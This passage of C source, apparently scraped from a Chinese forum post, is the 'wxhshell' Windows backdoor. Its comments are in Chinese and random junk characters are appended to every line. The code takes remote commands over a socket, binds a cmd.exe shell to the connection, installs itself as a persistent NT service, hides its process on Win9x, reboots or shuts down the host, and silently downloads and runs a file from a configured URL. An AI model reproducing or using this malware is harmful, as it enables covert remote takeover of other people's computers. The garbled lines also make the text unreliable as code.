  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Of&"U/^  
  } ,P~QS  
  else { !U[:5@s06  
nj"m^PmWo3  
    switch(cmd[0]) { _j>L4bT  
  h[,XemwX  
  // 帮助 ]Y=S  
  case '?': { <b'1#Pd>0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S2bexbp0o  
    break; D@*|24y  
  } [tz u;/  
  // 安装 u ]SZ{[ e  
  case 'i': { 90(UgK&Y  
    if(Install()) V:8@)Hc=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jf8w7T  
    else kAt RY4p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GqMB^Ad  
    break; L^x5&CCwk  
    } FXxN>\76.  
  // 卸载 UtPwWB_YV  
  case 'r': { SlT7L||Ww  
    if(Uninstall()) ;tXY =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;xI0\a7  
    else _^-D _y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p$XnOh  
    break; Qqh^E_O  
    } k1m'Ka-  
  // 显示 wxhshell 所在路径 ^} tuP  
  case 'p': { s*eyTm  
    char svExeFile[MAX_PATH]; }9 ?y'6l  
    strcpy(svExeFile,"\n\r"); ]An_5J  
      strcat(svExeFile,ExeFile); }q]jjs  
        send(wsh,svExeFile,strlen(svExeFile),0); K,]woNxaw  
    break; d#4Wj0x  
    } L@+Z)# V  
  // 重启 moe/cO5a9  
  case 'b': { N|o> %)R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;)P5#S!n-  
    if(Boot(REBOOT)) "5 y<G:$+~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zq^^|[)bA  
    else { C&e8a9*,(a  
    closesocket(wsh); ?o8a_9+  
    ExitThread(0); :Nkz,R?  
    } &D^e<j}RQ  
    break; 8a?IC|~Pz  
    } i"< ZVw  
  // 关机 Pm~,Ky&Hl  
  case 'd': { 9V.+U7\w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y=wdR|b  
    if(Boot(SHUTDOWN)) E~}[+X@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y%JF8R;n  
    else { m+p4Mc%u  
    closesocket(wsh); URk$}_39  
    ExitThread(0); GG*BN<(>!  
    } u!M& ;QL  
    break; b13nE .  
    } YN$`y1V  
  // 获取shell G$|G w  
  case 's': { X:DMT>5k  
    CmdShell(wsh); @f\ X4!e*y  
    closesocket(wsh); :bI,rEW#_  
    ExitThread(0); " xlJs93c  
    break; M.X}K7Z_/  
  } lu3Q,W  
  // 退出 p?}&)Un  
  case 'x': { t6j-?c('  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [@x  
    CloseIt(wsh); t&3 8@p  
    break; $4sA nu]  
    } @kS|Jz$iY  
  // 离开 tD865gi  
  case 'q': { N=.}h\{0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >}mNi:6xq  
    closesocket(wsh); dWMccn;-m  
    WSACleanup(); 3Nc'3NPQ'  
    exit(1); e5QOB/e&  
    break; ]Kof sU_{  
        } A(PE  
  } n&(3o6i'  
  } 0= 2H9v  
IcRM4Ib))Q  
  // 提示信息 87R%ke  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e#K rgUG  
} x-tm[x@;o  
  } u6]gQP">I  
{ 576+:*  
  return; gfV]^v  
} !'+\]eA  
<##|311o  
// shell模块句柄 fi 5YMYd1  
int CmdShell(SOCKET sock) ux%&lff  
{ SlR7h$r'  
STARTUPINFO si; ?56~yQF/2  
ZeroMemory(&si,sizeof(si)); |C^ c0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tWcizj;?wK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (\T8!s{AO  
PROCESS_INFORMATION ProcessInfo; @T9m}+fR  
char cmdline[]="cmd"; A{G5Plrh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &~z+R="=  
  return 0; tX+0 GLz  
} cAYa=}~<  
`^?}s-H+  
// 自身启动模式 nZ"{y  
int StartFromService(void) y?[5jL|Ue  
{ pM1=U F  
typedef struct od;Bb  
{ d&O'r[S  
  DWORD ExitStatus; #( $k 3OA  
  DWORD PebBaseAddress; oXnC "y}0P  
  DWORD AffinityMask; 5w]DncdQ~  
  DWORD BasePriority; &19l k   
  ULONG UniqueProcessId; LZgwIMd  
  ULONG InheritedFromUniqueProcessId; y>DfM5>  
}   PROCESS_BASIC_INFORMATION; l~`txe  
K(%dcUGDK>  
PROCNTQSIP NtQueryInformationProcess; 5cPSv?x^F@  
0f_66`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p7%0hLW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nh _DEPMq  
Ry3+/]  
  HANDLE             hProcess; ORUWsl Mt  
  PROCESS_BASIC_INFORMATION pbi; F<6KaZ|  
#|)JD@;Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t-3v1cv"  
  if(NULL == hInst ) return 0; yg]suU<z]  
53g8T+`\(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >xhd[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 67Af} >Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )->-~E}p9  
j<`I\Pmv  
  if (!NtQueryInformationProcess) return 0; ls8olLM>  
e[d7UV[Knn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zkwy.Hq^  
  if(!hProcess) return 0; 2+c>O%L  
M Ak-=?t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /vFxVBX  
$O;N/N:m  
  CloseHandle(hProcess); T%M1[<"Q  
C:|q'"F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j1'xp`jgv  
if(hProcess==NULL) return 0; z*??YUT\M  
X ,V= od>  
HMODULE hMod; GC5#1+fQ  
char procName[255]; U89]?^|bb  
unsigned long cbNeeded; :F!dTD$  
gb!@OZ c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f;@ b a[  
u|_I Twk  
  CloseHandle(hProcess); SX1Fyy6 w  
T! &[  
if(strstr(procName,"services")) return 1; // 以服务启动 rahHJp.Ws  
.{'Uvn  
  return 0; // 注册表启动 Im0+`9Jw  
} a'*5PaXU@/  
l<0[ K(  
// 主模块 C,sD?PcSi+  
int StartWxhshell(LPSTR lpCmdLine) 2n-Tpay0  
{ ,H#qgnp  
  SOCKET wsl; SK2J`*  
BOOL val=TRUE; F^%{ ;  
  int port=0; w@ gl  
  struct sockaddr_in door; `? 9] '  
Z9 ;nC zHm  
  if(wscfg.ws_autoins) Install(); qd#(`%_/  
]yj4~_&O  
port=atoi(lpCmdLine); #T gz,e9  
)7Hon  
if(port<=0) port=wscfg.ws_port; "NX m\`8  
[9YlLL@  
  WSADATA data; _D7HQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H3UX{|[  
o2 T/IJP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7Ap~7)z[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cpr{b8Xb8&  
  door.sin_family = AF_INET; tF;& x g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,oBk>  
  door.sin_port = htons(port); 110>p  
84hi, S5P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >[E|p6jgT  
closesocket(wsl); ei|*s+OZu  
return 1; R%]9y]HQ  
} 7YQK@lS  
\gJapx(  
  if(listen(wsl,2) == INVALID_SOCKET) { Hb@G*L$  
closesocket(wsl); 4$q )e<-  
return 1; _x,-d|9b d  
}  }]n>A  
  Wxhshell(wsl); -Fok %iQ'5  
  WSACleanup(); C>k;MvqO  
tLoD"/z  
return 0; :#Ex3H7  
uV/HNzC  
} 2RSHB o  
1"4nmw}  
// 以NT服务方式启动 P"~qio-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _($-dJ {  
{ yuy+}]uB@  
DWORD   status = 0; \KnD"0KW   
  DWORD   specificError = 0xfffffff; %Zv(gI`A  
I 1VEm?CQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?-.Ep0/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K,L>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !e#I4,fn  
  serviceStatus.dwWin32ExitCode     = 0; mKf>6/s{c  
  serviceStatus.dwServiceSpecificExitCode = 0; e8P!/x-y  
  serviceStatus.dwCheckPoint       = 0; |/T<]+X;  
  serviceStatus.dwWaitHint       = 0; JQbMw>Y  
]` &[Se d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D"( 3VIglq  
  if (hServiceStatusHandle==0) return; ai;gca_P#  
Vx7Dl{?{'  
status = GetLastError(); NbdMec  
  if (status!=NO_ERROR) 1 ">d|oC  
{ B;D:9K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; . ;ea]_Z  
    serviceStatus.dwCheckPoint       = 0; Fgc:6<MGM  
    serviceStatus.dwWaitHint       = 0; 4MF}FS2)  
    serviceStatus.dwWin32ExitCode     = status; n[MIa]dK  
    serviceStatus.dwServiceSpecificExitCode = specificError; b0z{"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eB/hyC1  
    return; W_f"Gk  
  } "6*Kgf2G  
qqom$H<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "ZJ1`R=Mj  
  serviceStatus.dwCheckPoint       = 0; J:mu%N`  
  serviceStatus.dwWaitHint       = 0; (fk, 80  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2 Zjb/  
} ,T21z}r  
!ovZ>,1  
// 处理NT服务事件,比如:启动、停止 cJ(zidf_$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1R+ )T'in  
{ c^[1]'y  
switch(fdwControl) (zTI)EV  
{ = "hY{RUa  
case SERVICE_CONTROL_STOP: SU#P.y18%  
  serviceStatus.dwWin32ExitCode = 0; < jocfTBk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .^`a6>EQ)|  
  serviceStatus.dwCheckPoint   = 0; ,d [b"]Zy  
  serviceStatus.dwWaitHint     = 0; O3w_vm'  
  { ZTPOD.:#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sh)) [V"8  
  } @<w9fzi  
  return; vA7jZw  
case SERVICE_CONTROL_PAUSE: XpAq=p0;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e=F( Zf+1^  
  break; 9snyX7/!L  
case SERVICE_CONTROL_CONTINUE: '__3[D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZNH*[[Pf  
  break; RzY`^A6G6  
case SERVICE_CONTROL_INTERROGATE: NV:XPw/  
  break;  eS@!\H x  
}; '*LN)E> d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hZ\W ?r  
} 9bcyPN  
E[Ws} n.  
// 标准应用程序主函数 fF-\TW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M?4r5R  
{ j+B5m:ExfI  
6q uWO2x  
// 获取操作系统版本 D@b<}J>0'  
OsIsNt=GetOsVer(); T~~$=vP9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |`t!aG8  
C7 & 6rUX  
  // 从命令行安装 pv?17(w(\  
  if(strpbrk(lpCmdLine,"iI")) Install(); \|>`z,;  
a^}P_hg}-  
  // 下载执行文件 J0*]6oD!  
if(wscfg.ws_downexe) { Nec(^|[   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $8T|r+<  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]gZ8b- 2O  
} =&*QT&e  
qL;T&h  
if(!OsIsNt) { QB|fFj58u  
// 如果时win9x,隐藏进程并且设置为注册表启动 .lF\bA|  
HideProc(); =wR]X*Pan  
StartWxhshell(lpCmdLine); 'hi\98y  
} U#]eN[  
else r5qx! >  
  if(StartFromService()) IOSoc 7+"  
  // 以服务方式启动 $}nUK~$GSv  
  StartServiceCtrlDispatcher(DispatchTable); =5=Vm[  
else y>cmKE  
  // 普通方式启动 w3bH|VnU8;  
  StartWxhshell(lpCmdLine); 5NvyK[w]  
UV8r&O  
return 0; 8 W<)c  
}
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只看该作者 1 发表于: 2006-10-10
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